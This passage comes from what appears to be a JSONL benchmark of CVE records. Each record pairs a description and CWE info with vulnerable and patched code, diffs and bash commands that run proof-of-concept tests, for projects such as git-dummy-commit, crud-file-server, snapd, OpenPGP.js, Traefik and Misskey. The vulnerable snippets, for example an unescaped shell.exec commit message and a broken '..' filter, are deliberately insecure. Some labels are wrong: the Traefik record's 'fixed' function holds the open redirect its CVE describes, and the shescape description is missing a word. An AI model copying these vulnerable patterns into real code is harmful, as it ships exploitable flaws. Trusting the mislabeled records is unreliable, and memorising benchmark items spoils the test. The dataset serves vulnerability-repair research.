nil\n\t\t}\n\t\tallowedActions = append(allowedActions, hub.Action(action))\n\t}\n\n\t// Check if the actions required to manage the policy will be allowed using\n\t// the new policy provided\n\tif !AreActionsAllowed(allowedActions, policyMgmtActions) {\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}"}, {"id": "fix_go_129_3", "commit": "9df01f9", "file_path": "internal/authz/authz.go", "start_line": 48, "end_line": 48, "snippet": "\tunsafeRegoBuiltins = map[string]struct{}{ast.HTTPSend.Name: {}}"}], "vul_patch": "--- a/internal/authz/authz.go\n+++ b/internal/authz/authz.go\n@@ -30,6 +30,7 @@\n \t\t\trego.Query(AllowedActionsQuery),\n \t\t\trego.Module(fmt.Sprintf(\"%s.rego\", organizationName), rules),\n \t\t\trego.Store(inmem.NewFromReader(bytes.NewBuffer(policy.PolicyData))),\n+\t\t\trego.UnsafeBuiltins(unsafeRegoBuiltins),\n \t\t).PrepareForEval(context.Background())\n \t\tif err == nil {\n \t\t\tallowedActionsQueries[organizationName] = allowedActionsPreparedEvalQuery\n\n--- a/internal/authz/authz.go\n+++ b/internal/authz/authz.go\n@@ -24,6 +24,7 @@\n \t\trego.Query(AllowedActionsQuery),\n \t\trego.Module(\"\", rules),\n \t\trego.Store(inmem.NewFromReader(bytes.NewBufferString(policyDataJSON))),\n+\t\trego.UnsafeBuiltins(unsafeRegoBuiltins),\n \t).PrepareForEval(context.Background())\n \tif err != nil {\n \t\treturn true, err\n\n--- /dev/null\n+++ b/internal/authz/authz.go\n@@ -0,0 +1 @@\n+\tunsafeRegoBuiltins = map[string]struct{}{ast.HTTPSend.Name: {}}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3785", "cve_description": "A command injection in git-dummy-commit v1.3.0 allows os level commands to be executed due to an unescaped parameter.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/stevemao/git-dummy-commit", "patch_url": ["https://github.com/stevemao/git-dummy-commit/commit/71ab972fc7cd5f49b15a9eb82b9df2e41100d391"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_43_2", "commit": "927a226f2419f16aac4335a080b392edbc10c27d", "file_path": "index.js", "start_line": 14, "end_line": 40, "snippet": "module.exports = function (msg, silent) {\n\tvar arg = '';\n\n\tmsg = makeDefault(msg);\n\n\tif (silent === undefined) {\n\t\tsilent = true;\n\t}\n\n\tif (Array.isArray(msg)) {\n\t\tif (msg.length) {\n\t\t\tmsg.forEach(function (m) {\n\t\t\t\tm = makeDefault(m);\n\n\t\t\t\targ += '-m\"' + m + '\" ';\n\t\t\t});\n\t\t} else {\n\t\t\targ = '-m\"' + defaultMsg + '\"';\n\t\t}\n\t} else {\n\t\targ = '-m\"' + msg + '\"';\n\t}\n\n\tshell.exec('git commit ' + arg + ' --allow-empty --no-gpg-sign', {\n\t\tsilent: silent\n\t});\n};"}], "fix_func": [{"id": "fix_js_43_2", "commit": "71ab972fc7cd5f49b15a9eb82b9df2e41100d391", "file_path": "index.js", "start_line": 14, "end_line": 38, "snippet": "module.exports = function (msg, silent) {\n\tvar args = [];\n\n\tmsg = makeDefault(msg);\n\n\tif (silent === undefined) {\n\t\tsilent = true;\n\t}\n\n\tif (Array.isArray(msg)) {\n\t\tif (msg.length) {\n\t\t\tmsg.forEach(function (m) {\n\t\t\t\tm = makeDefault(m);\n\n\t\t\t\targs = [].concat(args, ['-m', m]);\n\t\t\t});\n\t\t} else {\n\t\t\targs = ['-m', defaultMsg];\n\t\t}\n\t} else {\n\t\targs = ['-m', msg];\n\t}\n\n\texeca.sync('git', ['commit', ...args, '--allow-empty', '--no-gpg-sign']);\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,5 +1,5 @@\n module.exports = function (msg, silent) {\n-\tvar arg = '';\n+\tvar args = [];\n \n \tmsg = makeDefault(msg);\n \n@@ -12,16 +12,14 @@\n \t\t\tmsg.forEach(function (m) {\n \t\t\t\tm = makeDefault(m);\n \n-\t\t\t\targ += '-m\"' + m + '\" ';\n+\t\t\t\targs = [].concat(args, ['-m', m]);\n \t\t\t});\n \t\t} else {\n-\t\t\targ = '-m\"' + defaultMsg + '\"';\n+\t\t\targs = ['-m', defaultMsg];\n \t\t}\n \t} else {\n-\t\targ = '-m\"' + msg + '\"';\n+\t\targs = ['-m', msg];\n \t}\n \n-\tshell.exec('git commit ' + arg + ' --allow-empty --no-gpg-sign', {\n-\t\tsilent: silent\n-\t});\n+\texeca.sync('git', ['commit', ...args, '--allow-empty', '--no-gpg-sign']);\n };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3785:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/git-dummy-commit\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2018-3733", "cve_description": "crud-file-server node module before 0.9.0 suffers from a Path Traversal vulnerability due to incorrect validation of url, which allows a malicious user to read content of any file with known path.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/omphalos/crud-file-server", "patch_url": ["https://github.com/omphalos/crud-file-server/commit/4fc3b404f718abb789f4ce4272c39c7a138c7a82"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_27_1", "commit": "833e7fc", "file_path": "crud-file-server.js", "start_line": 4, "end_line": 8, "snippet": "var cleanUrl = function(url) { \n\turl = decodeURIComponent(url);\n\twhile(url.indexOf('..').length > 0) { url = url.replace('..', ''); }\n\treturn url;\n};"}], "fix_func": [{"id": "fix_js_27_1", "commit": "4fc3b40", "file_path": "crud-file-server.js", "start_line": 4, "end_line": 8, "snippet": "var cleanUrl = function(url) { \n\turl = decodeURIComponent(url);\n\twhile(url.indexOf('..') >= 0) { url = url.replace('..', ''); }\n\treturn url;\n};"}], "vul_patch": "--- a/crud-file-server.js\n+++ b/crud-file-server.js\n@@ -1,5 +1,5 @@\n var cleanUrl = function(url) { \n \turl = decodeURIComponent(url);\n-\twhile(url.indexOf('..').length > 0) { url = url.replace('..', ''); }\n+\twhile(url.indexOf('..') >= 0) { url = url.replace('..', ''); }\n \treturn url;\n };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3733:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/crud-file-server\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest --forceExit ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3733:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/crud-file-server\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/test.patch\njest --forceExit ./tests\n"}
{"cve_id": "CVE-2024-1724", "cve_description": "In snapd versions prior to 2.62, when using AppArmor for enforcement of \nsandbox permissions, snapd failed to restrict writes to the $HOME/bin\npath. In Ubuntu, when this path exists, it is automatically added to\nthe users PATH. An attacker who could convince a user to install a\nmalicious snap which used the 'home' plug could use this vulnerability\nto install arbitrary scripts into the users PATH which may then be run\nby the user outside of the expected snap sandbox and hence allow them\nto escape confinement.", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/snapcore/snapd", "patch_url": ["https://github.com/snapcore/snapd/commit/aa191f97713de8dc3ce3ac818539f0b976eb8ef6"], "programing_language": "Go", "vul_func": [{"id": "vul_go_60_1", "commit": "9dace38", "file_path": "interfaces/builtin/home.go", "start_line": 48, "end_line": 82, "snippet": "const homeConnectedPlugAppArmor = `\n# Description: Can access non-hidden files in user's $HOME. This is restricted\n# because it gives file access to all of the user's $HOME.\n\n# Note, @{HOME} is the user's $HOME, not the snap's $HOME\n\n# Allow read access to toplevel $HOME for the user\nowner @{HOME}/ r,\n\n# Allow read/write access to all files in @{HOME}, except snap application\n# data in @{HOME}/snap and toplevel hidden directories in @{HOME}.\nowner @{HOME}/[^s.]**             rwkl###HOME_IX###,\nowner @{HOME}/s[^n]**             rwkl###HOME_IX###,\nowner @{HOME}/sn[^a]**            rwkl###HOME_IX###,\nowner @{HOME}/sna[^p]**           rwkl###HOME_IX###,\nowner @{HOME}/snap[^/]**          rwkl###HOME_IX###,\n\n# Allow creating a few files not caught above\nowner @{HOME}/{s,sn,sna}{,/} rwkl###HOME_IX###,\n\n# Allow access to @{HOME}/snap/ to allow directory traversals from\n# @{HOME}/snap/@{SNAP_INSTANCE_NAME} through @{HOME}/snap to @{HOME}.\n# While this leaks snap names, it fixes usability issues for snaps\n# that require this transitional interface.\nowner @{HOME}/snap/ r,\n\n# Allow access to gvfs mounts for files owned by the user (including hidden\n# files; only allow writes to files, not the mount point).\nowner /run/user/[0-9]*/gvfs/{,**} r,\nowner /run/user/[0-9]*/gvfs/*/**  w,\n\n# Disallow writes to the well-known directory included in\n# the user's PATH on several distributions\naudit deny @{HOME}/bin/{,**} wl,\n`"}], "fix_func": [{"id": "fix_go_60_1", "commit": "aa191f9", "file_path": "interfaces/builtin/home.go", "start_line": 48, "end_line": 82, "snippet": "const homeConnectedPlugAppArmor = `\n# Description: Can access non-hidden files in user's $HOME. This is restricted\n# because it gives file access to all of the user's $HOME.\n\n# Note, @{HOME} is the user's $HOME, not the snap's $HOME\n\n# Allow read access to toplevel $HOME for the user\nowner @{HOME}/ r,\n\n# Allow read/write access to all files in @{HOME}, except snap application\n# data in @{HOME}/snap and toplevel hidden directories in @{HOME}.\nowner @{HOME}/[^s.]**             rwkl###HOME_IX###,\nowner @{HOME}/s[^n]**             rwkl###HOME_IX###,\nowner @{HOME}/sn[^a]**            rwkl###HOME_IX###,\nowner @{HOME}/sna[^p]**           rwkl###HOME_IX###,\nowner @{HOME}/snap[^/]**          rwkl###HOME_IX###,\n\n# Allow creating a few files not caught above\nowner @{HOME}/{s,sn,sna}{,/} rwkl###HOME_IX###,\n\n# Allow access to @{HOME}/snap/ to allow directory traversals from\n# @{HOME}/snap/@{SNAP_INSTANCE_NAME} through @{HOME}/snap to @{HOME}.\n# While this leaks snap names, it fixes usability issues for snaps\n# that require this transitional interface.\nowner @{HOME}/snap/ r,\n\n# Allow access to gvfs mounts for files owned by the user (including hidden\n# files; only allow writes to files, not the mount point).\nowner /run/user/[0-9]*/gvfs/{,**} r,\nowner /run/user/[0-9]*/gvfs/*/**  w,\n\n# Disallow writes to the well-known directory included in\n# the user's PATH on several distributions\naudit deny @{HOME}/bin/{,**} wl,\naudit deny @{HOME}/bin wl,"}], "vul_patch": "--- a/interfaces/builtin/home.go\n+++ b/interfaces/builtin/home.go\n@@ -32,4 +32,4 @@\n # Disallow writes to the well-known directory included in\n # the user's PATH on several distributions\n audit deny @{HOME}/bin/{,**} wl,\n-`\n+audit deny @{HOME}/bin wl,\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-1724:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/snapd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s github.com/snapcore/snapd/interfaces/builtin -check.f 'HomeInterfaceSuite.TestConnectedPlugAppArmor(WithoutAttrib|WithAttribAll)'\n", "unit_test_cmd": null}
{"cve_id": "CVE-2025-47934", "cve_description": "OpenPGP.js is a JavaScript implementation of the OpenPGP protocol. Startinf in version 5.0.1 and prior to versions 5.11.3 and 6.1.1, a maliciously modified message can be passed to either `openpgp.verify` or `openpgp.decrypt`, causing these functions to return a valid signature verification result while returning data that was not actually signed. This flaw allows signature verifications of inline (non-detached) signed messages (using `openpgp.verify`) and signed-and-encrypted messages (using `openpgp.decrypt` with `verificationKeys`) to be spoofed, since both functions return extracted data that may not match the data that was originally signed. Detached signature verifications are not affected, as no signed data is returned in that case. In order to spoof a message, the attacker needs a single valid message signature (inline or detached) as well as the plaintext data that was legitimately signed, and can then construct an inline-signed message or signed-and-encrypted message with any data of the attacker's choice, which will appear as legitimately signed by affected versions of OpenPGP.js. In other words, any inline-signed message can be modified to return any other data (while still indicating that the signature was valid), and the same is true for signed+encrypted messages if the attacker can obtain a valid signature and encrypt a new message (of the attacker's choice) together with that signature. The issue has been patched in versions 5.11.3 and 6.1.1. Some workarounds are available. When verifying inline-signed messages, extract the message and signature(s) from the message returned by `openpgp.readMessage`, and verify the(/each) signature as a detached signature by passing the signature and a new message containing only the data (created using `openpgp.createMessage`) to `openpgp.verify`.  When decrypting and verifying signed+encrypted messages, decrypt and verify the message in two steps, by first calling `openpgp.decrypt` without `verificationKeys`, and then passing the returned signature(s) and a new message containing the decrypted data (created using `openpgp.createMessage`) to `openpgp.verify`.", "cwe_info": {"CWE-347": {"name": "Improper Verification of Cryptographic Signature", "description": "The product does not verify, or incorrectly verifies, the cryptographic signature for data."}}, "repo": "https://github.com/openpgpjs/openpgpjs", "patch_url": ["https://github.com/openpgpjs/openpgpjs/commit/43f5f4e2bd67d0514d06acc60b6ee571a049c229"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_304_1", "commit": "a0337780b77093716ba92acb4a70b3bb5ceec87d", "file_path": "src/message.js", "start_line": 601, "end_line": 643, "snippet": "  async verify(verificationKeys, date = new Date(), config = defaultConfig) {\n    const msg = this.unwrapCompressed();\n    const literalDataList = msg.packets.filterByTag(enums.packet.literalData);\n    if (literalDataList.length !== 1) {\n      throw new Error('Can only verify message with one literal data packet.');\n    }\n    if (stream.isArrayStream(msg.packets.stream)) {\n      msg.packets.push(...await stream.readToEnd(msg.packets.stream, _ => _ || []));\n    }\n    const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();\n    const signatureList = msg.packets.filterByTag(enums.packet.signature);\n    if (onePassSigList.length && !signatureList.length && util.isStream(msg.packets.stream) && !stream.isArrayStream(msg.packets.stream)) {\n      await Promise.all(onePassSigList.map(async onePassSig => {\n        onePassSig.correspondingSig = new Promise((resolve, reject) => {\n          onePassSig.correspondingSigResolve = resolve;\n          onePassSig.correspondingSigReject = reject;\n        });\n        onePassSig.signatureData = stream.fromAsync(async () => (await onePassSig.correspondingSig).signatureData);\n        onePassSig.hashed = stream.readToEnd(await onePassSig.hash(onePassSig.signatureType, literalDataList[0], undefined, false));\n        onePassSig.hashed.catch(() => {});\n      }));\n      msg.packets.stream = stream.transformPair(msg.packets.stream, async (readable, writable) => {\n        const reader = stream.getReader(readable);\n        const writer = stream.getWriter(writable);\n        try {\n          for (let i = 0; i < onePassSigList.length; i++) {\n            const { value: signature } = await reader.read();\n            onePassSigList[i].correspondingSigResolve(signature);\n          }\n          await reader.readToEnd();\n          await writer.ready;\n          await writer.close();\n        } catch (e) {\n          onePassSigList.forEach(onePassSig => {\n            onePassSig.correspondingSigReject(e);\n          });\n          await writer.abort(e);\n        }\n      });\n      return createVerificationObjects(onePassSigList, literalDataList, verificationKeys, date, false, config);\n    }\n    return createVerificationObjects(signatureList, literalDataList, verificationKeys, date, false, config);\n  }"}], "fix_func": [{"id": "fix_js_304_1", "commit": "43f5f4e2bd67d0514d06acc60b6ee571a049c229", "file_path": "src/message.js", "start_line": 601, "end_line": 644, "snippet": "  async verify(verificationKeys, date = new Date(), config = defaultConfig) {\n    const msg = this.unwrapCompressed();\n    const literalDataList = msg.packets.filterByTag(enums.packet.literalData);\n    if (literalDataList.length !== 1) {\n      throw new Error('Can only verify message with one literal data packet.');\n    }\n    let packets = msg.packets;\n    if (stream.isArrayStream(packets.stream)) {\n      packets = packets.concat(await stream.readToEnd(packets.stream, _ => _ || []));\n    }\n    const onePassSigList = packets.filterByTag(enums.packet.onePassSignature).reverse();\n    const signatureList = packets.filterByTag(enums.packet.signature);\n    if (onePassSigList.length && !signatureList.length && util.isStream(packets.stream) && !stream.isArrayStream(packets.stream)) {\n      await Promise.all(onePassSigList.map(async onePassSig => {\n        onePassSig.correspondingSig = new Promise((resolve, reject) => {\n          onePassSig.correspondingSigResolve = resolve;\n          onePassSig.correspondingSigReject = reject;\n        });\n        onePassSig.signatureData = stream.fromAsync(async () => (await onePassSig.correspondingSig).signatureData);\n        onePassSig.hashed = stream.readToEnd(await onePassSig.hash(onePassSig.signatureType, literalDataList[0], undefined, false));\n        onePassSig.hashed.catch(() => {});\n      }));\n      packets.stream = stream.transformPair(packets.stream, async (readable, writable) => {\n        const reader = stream.getReader(readable);\n        const writer = stream.getWriter(writable);\n        try {\n          for (let i = 0; i < onePassSigList.length; i++) {\n            const { value: signature } = await reader.read();\n            onePassSigList[i].correspondingSigResolve(signature);\n          }\n          await reader.readToEnd();\n          await writer.ready;\n          await writer.close();\n        } catch (e) {\n          onePassSigList.forEach(onePassSig => {\n            onePassSig.correspondingSigReject(e);\n          });\n          await writer.abort(e);\n        }\n      });\n      return createVerificationObjects(onePassSigList, literalDataList, verificationKeys, date, false, config);\n    }\n    return createVerificationObjects(signatureList, literalDataList, verificationKeys, date, false, config);\n  }"}], "vul_patch": "--- a/src/message.js\n+++ b/src/message.js\n@@ -4,12 +4,13 @@\n     if (literalDataList.length !== 1) {\n       throw new Error('Can only verify message with one literal data packet.');\n     }\n-    if (stream.isArrayStream(msg.packets.stream)) {\n-      msg.packets.push(...await stream.readToEnd(msg.packets.stream, _ => _ || []));\n+    let packets = msg.packets;\n+    if (stream.isArrayStream(packets.stream)) {\n+      packets = packets.concat(await stream.readToEnd(packets.stream, _ => _ || []));\n     }\n-    const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();\n-    const signatureList = msg.packets.filterByTag(enums.packet.signature);\n-    if (onePassSigList.length && !signatureList.length && util.isStream(msg.packets.stream) && !stream.isArrayStream(msg.packets.stream)) {\n+    const onePassSigList = packets.filterByTag(enums.packet.onePassSignature).reverse();\n+    const signatureList = packets.filterByTag(enums.packet.signature);\n+    if (onePassSigList.length && !signatureList.length && util.isStream(packets.stream) && !stream.isArrayStream(packets.stream)) {\n       await Promise.all(onePassSigList.map(async onePassSig => {\n         onePassSig.correspondingSig = new Promise((resolve, reject) => {\n           onePassSig.correspondingSigResolve = resolve;\n@@ -19,7 +20,7 @@\n         onePassSig.hashed = stream.readToEnd(await onePassSig.hash(onePassSig.signatureType, literalDataList[0], undefined, false));\n         onePassSig.hashed.catch(() => {});\n       }));\n-      msg.packets.stream = stream.transformPair(msg.packets.stream, async (readable, writable) => {\n+      packets.stream = stream.transformPair(packets.stream, async (readable, writable) => {\n         const reader = stream.getReader(readable);\n         const writer = stream.getWriter(writable);\n         try {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15129", "cve_description": "In Traefik before versions 1.7.26, 2.2.8, and 2.3.0-rc3, there exists a potential open redirect vulnerability in Traefik's handling of the \"X-Forwarded-Prefix\" header. The Traefik API dashboard component doesn't validate that the value of the header \"X-Forwarded-Prefix\" is a site relative path and will redirect to any header provided URI. Successful exploitation of an open redirect can be used to entice victims to disclose sensitive information. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team addressed this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/traefik/traefik", "patch_url": ["https://github.com/traefik/traefik/commit/e2c5f3712f68993de8ed3cb30da9ec0aa11acb09", "https://github.com/containous/traefik/commit/e63db782c11c7b8bfce30be4c902e7ef8f9f33d2", "https://github.com/containous/traefik/commit/cfa04c300c5db95ae8a52c31a9d973b6dd9c2254"], "programing_language": "Go", "vul_func": [{"id": "vul_go_155_1", "commit": "d0f3ad6", "file_path": "api/dashboard.go", "start_line": 15, "end_line": 22, "snippet": "func (g DashboardHandler) AddRoutes(router *mux.Router) {\n\t// Expose dashboard\n\trouter.Methods(http.MethodGet).Path(\"/\").HandlerFunc(func(response http.ResponseWriter, request *http.Request) {\n\t\thttp.Redirect(response, request, \"/dashboard/\", 302)\n\t})\n\trouter.Methods(http.MethodGet).PathPrefix(\"/dashboard/\").\n\t\tHandler(http.StripPrefix(\"/dashboard/\", http.FileServer(&assetfs.AssetFS{Asset: genstatic.Asset, AssetInfo: genstatic.AssetInfo, AssetDir: genstatic.AssetDir, Prefix: \"static\"})))\n}"}], "fix_func": [{"id": "fix_go_155_1", "commit": "e2c5f37", "file_path": "api/dashboard.go", "start_line": 15, "end_line": 22, "snippet": "func (g DashboardHandler) AddRoutes(router *mux.Router) {\n\t// Expose dashboard\n\trouter.Methods(http.MethodGet).Path(\"/\").HandlerFunc(func(response http.ResponseWriter, request *http.Request) {\n\t\thttp.Redirect(response, request, request.Header.Get(\"X-Forwarded-Prefix\")+\"/dashboard/\", 302)\n\t})\n\trouter.Methods(http.MethodGet).PathPrefix(\"/dashboard/\").\n\t\tHandler(http.StripPrefix(\"/dashboard/\", http.FileServer(&assetfs.AssetFS{Asset: genstatic.Asset, AssetInfo: genstatic.AssetInfo, AssetDir: genstatic.AssetDir, Prefix: \"static\"})))\n}"}], "vul_patch": "--- a/api/dashboard.go\n+++ b/api/dashboard.go\n@@ -1,7 +1,7 @@\n func (g DashboardHandler) AddRoutes(router *mux.Router) {\n \t// Expose dashboard\n \trouter.Methods(http.MethodGet).Path(\"/\").HandlerFunc(func(response http.ResponseWriter, request *http.Request) {\n-\t\thttp.Redirect(response, request, \"/dashboard/\", 302)\n+\t\thttp.Redirect(response, request, request.Header.Get(\"X-Forwarded-Prefix\")+\"/dashboard/\", 302)\n \t})\n \trouter.Methods(http.MethodGet).PathPrefix(\"/dashboard/\").\n \t\tHandler(http.StripPrefix(\"/dashboard/\", http.FileServer(&assetfs.AssetFS{Asset: genstatic.Asset, AssetInfo: genstatic.AssetInfo, AssetDir: genstatic.AssetDir, Prefix: \"static\"})))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-43793", "cve_description": "Misskey is an open source, decentralized social media platform. Prior to version 2023.9.0, by editing the URL, a user can bypass the authentication of the Bull dashboard, which is the job queue management UI, and access it. Version 2023.9.0 contains a fix. There are no known workarounds.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/misskey-dev/misskey", "patch_url": ["https://github.com/misskey-dev/misskey/commit/c9aeccb2ab260ceedc126e6e366da8cd13ece4b2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_228_1", "commit": "e6032a0", "file_path": "packages/backend/src/server/web/ClientServerService.ts", "start_line": 145, "end_line": 163, "snippet": "\t\tfastify.addHook('onRequest', async (request, reply) => {\n\t\t\tif (request.url === bullBoardPath || request.url.startsWith(bullBoardPath + '/')) {\n\t\t\t\tconst token = request.cookies.token;\n\t\t\t\tif (token == null) {\n\t\t\t\t\treply.code(401);\n\t\t\t\t\tthrow new Error('login required');\n\t\t\t\t}\n\t\t\t\tconst user = await this.usersRepository.findOneBy({ token });\n\t\t\t\tif (user == null) {\n\t\t\t\t\treply.code(403);\n\t\t\t\t\tthrow new Error('no such user');\n\t\t\t\t}\n\t\t\t\tconst isAdministrator = await this.roleService.isAdministrator(user);\n\t\t\t\tif (!isAdministrator) {\n\t\t\t\t\treply.code(403);\n\t\t\t\t\tthrow new Error('access denied');\n\t\t\t\t}\n\t\t\t}\n\t\t});"}], "fix_func": [{"id": "fix_js_228_1", "commit": "c9aeccb2ab260ceedc126e6e366da8cd13ece4b2", "file_path": "packages/backend/src/server/web/ClientServerService.ts", "start_line": 145, "end_line": 165, "snippet": "\t\tfastify.addHook('onRequest', async (request, reply) => {\n\t\t\t// %71ueue\\u3068\\u304b\\u3067\\u30ea\\u30af\\u30a8\\u30b9\\u30c8\\u3055\\u308c\\u305f\\u3089\\u56f0\\u308b\\u305f\\u3081\n\t\t\tconst url = decodeURI(request.url);\n\t\t\tif (url === bullBoardPath || url.startsWith(bullBoardPath + '/')) {\n\t\t\t\tconst token = request.cookies.token;\n\t\t\t\tif (token == null) {\n\t\t\t\t\treply.code(401);\n\t\t\t\t\tthrow new Error('login required');\n\t\t\t\t}\n\t\t\t\tconst user = await this.usersRepository.findOneBy({ token });\n\t\t\t\tif (user == null) {\n\t\t\t\t\treply.code(403);\n\t\t\t\t\tthrow new Error('no such user');\n\t\t\t\t}\n\t\t\t\tconst isAdministrator = await this.roleService.isAdministrator(user);\n\t\t\t\tif (!isAdministrator) {\n\t\t\t\t\treply.code(403);\n\t\t\t\t\tthrow new Error('access denied');\n\t\t\t\t}\n\t\t\t}\n\t\t});"}], "vul_patch": "--- a/packages/backend/src/server/web/ClientServerService.ts\n+++ b/packages/backend/src/server/web/ClientServerService.ts\n@@ -1,5 +1,7 @@\n \t\tfastify.addHook('onRequest', async (request, reply) => {\n-\t\t\tif (request.url === bullBoardPath || request.url.startsWith(bullBoardPath + '/')) {\n+\t\t\t// %71ueue\\u3068\\u304b\\u3067\\u30ea\\u30af\\u30a8\\u30b9\\u30c8\\u3055\\u308c\\u305f\\u3089\\u56f0\\u308b\\u305f\\u3081\n+\t\t\tconst url = decodeURI(request.url);\n+\t\t\tif (url === bullBoardPath || url.startsWith(bullBoardPath + '/')) {\n \t\t\t\tconst token = request.cookies.token;\n \t\t\t\tif (token == null) {\n \t\t\t\t\treply.code(401);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21384", "cve_description": "shescape is a simple shell escape package for JavaScript. In shescape before version 1.1.3, anyone using _Shescape_ to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a into the payload. For an example see the referenced GitHub Security Advisory. The problem has been patched in version 1.1.3. No further changes are required.", "cwe_info": {"CWE-88": {"name": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", "description": "The product constructs a string for a command to be executed by a separate component\nin another control sphere, but it does not properly delimit the\nintended arguments, options, or switches within that command string."}}, "repo": "https://github.com/ericcornelissen/shescape", "patch_url": ["https://github.com/ericcornelissen/shescape/commit/07a069a66423809cbedd61d980c11ca44a29ea2b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_62_1", "commit": "57075c4", "file_path": "src/unix.js", "start_line": 13, "end_line": 15, "snippet": "function escapeShellArg(arg) {\n  return arg.replace(/'/g, `'\\\\''`);\n}"}], "fix_func": [{"id": "fix_js_62_1", "commit": "07a069a66423809cbedd61d980c11ca44a29ea2b", "file_path": "src/unix.js", "start_line": 13, "end_line": 15, "snippet": "function escapeShellArg(arg) {\n  return arg.replace(/\\u{0}/gu, \"\").replace(/'/g, `'\\\\''`);\n}"}], "vul_patch": "--- a/src/unix.js\n+++ b/src/unix.js\n@@ -1,3 +1,3 @@\n function escapeShellArg(arg) {\n-  return arg.replace(/'/g, `'\\\\''`);\n+  return arg.replace(/\\u{0}/gu, \"\").replace(/'/g, `'\\\\''`);\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21384:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/shescape\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"removes multiple null character\" test/unix.test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21384:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/shescape\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 3000 test/unix.test.js\n"}
{"cve_id": "CVE-2020-15235", "cve_description": "In RACTF before commit f3dc89b, unauthenticated users are able to get the value of sensitive config keys that would normally be hidden to everyone except admins. All versions after commit f3dc89b9f6ab1544a289b3efc06699b13d63e0bd(3/10/20) are patched.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/ractf/core", "patch_url": ["https://github.com/ractf/core/commit/f3dc89b9f6ab1544a289b3efc06699b13d63e0bd"], "programing_language": "Python", "vul_func": [{"id": "vul_py_262_1", "commit": "41edf92", "file_path": "src/config/views.py", "start_line": 13, "end_line": 18, "snippet": "    def get(self, request, name=None):\n        if name is None:\n            if request.user.is_staff:\n                return FormattedResponse(config.get_all())\n            return FormattedResponse(config.get_all_non_sensitive())\n        return FormattedResponse(config.get(name))"}], "fix_func": [{"id": "fix_py_262_2", "commit": "f3dc89b", "file_path": "src/config/config.py", "start_line": 67, "end_line": 68, "snippet": "def is_sensitive(key):\n    return key in backend.get('sensitive_fields')"}, {"id": "fix_py_262_1", "commit": "f3dc89b", "file_path": "src/config/views.py", "start_line": 13, "end_line": 20, "snippet": "    def get(self, request, name=None):\n        if name is None:\n            if request.user.is_superuser:\n                return FormattedResponse(config.get_all())\n            return FormattedResponse(config.get_all_non_sensitive())\n        if not config.is_sensitive(name) or request.is_superuser:\n            return FormattedResponse(config.get(name))\n        return FormattedResponse(status=HTTP_403_FORBIDDEN)"}], "vul_patch": "--- a/src/config/views.py\n+++ b/src/config/views.py\n@@ -1,6 +1,8 @@\n     def get(self, request, name=None):\n         if name is None:\n-            if request.user.is_staff:\n+            if 